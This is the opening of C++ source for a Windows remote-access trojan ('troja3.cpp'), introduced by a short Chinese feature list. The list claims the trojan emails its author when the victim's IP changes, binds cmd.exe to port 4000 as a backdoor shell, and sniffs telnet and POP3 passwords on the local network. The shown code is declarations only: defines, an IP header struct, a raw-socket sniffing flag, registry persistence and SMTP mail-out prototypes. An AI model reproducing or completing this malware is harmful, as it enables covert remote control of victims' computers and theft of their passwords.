IP变换后自动发送Email通知
实现了以下功能:
1.IP变换后自动发送Email通知
2.nt/window2000下绑定cmd,98下绑定command
3.sniffer整个无交换网络的telnet pop3密码功能
// troja3.cpp : Defines the entry point for the application.
//written by misher 小鱼巫师
#define zeng
#include "stdafx.h"
#include "Afxwin.h"
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
#include <afx.h> //CString
#include <winsock2.h>
#include <process.h>
#include <Shellapi.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"MSVCRT.LIB")
#define nBufLen 10000
#define port 4000
//SnifferMain function need variant and struct
#define STATUS_FAILED 0xFFFF //定义异常出错代码
#define MAX_PACK_LEN 65535 //接收的最大IP报文
#define MAX_ADDR_LEN 16 //点分十进制地址的最大长度
#define MAX_HOSTNAME_LAN 255 //最大主机名长度
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
typedef struct _iphdr
{
unsigned char h_lenver; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
SOCKET SockRaw;
int nNeedPacket=0;
void DecodeIpPack(char *,int);
FILE *NetLog; //数据包记录
//end SnifferMain function need variant and struct
void TelnetForCmd(); //绑定cmd.exe
BOOL reg(char *szExecFile); //创建注册表内容
DWORD WINAPI SnifferMain(void*);
//发送email的一些函数---------------------------------------------------------
DWORD WINAPI SendMail(void*); //把信息发回来的线程
//这义变量和需要用到的函数
CString csError[7]; //错误代码解说
SOCKET pSocket;
CString csSmtp; //SMTP服务器
CString csMailFrom; //发件人
CString csMailTo=""; //收件人
CString csMailHeader; //邮件主题
CString csMailBody;
int MySetSmtp(CString str); //SMTP
int MySetMailFrom(CString str); //发件人
int MySetMailTo(CString str); //收件人
int MySetHeader(CString str); //主题
int MySetBody(CString str); //内容
int MyMailSend();
int TestMail(int nResult);
int MailCreate();
int MailFrom();
int MailTo();
int MailHeader();
int MailQuit();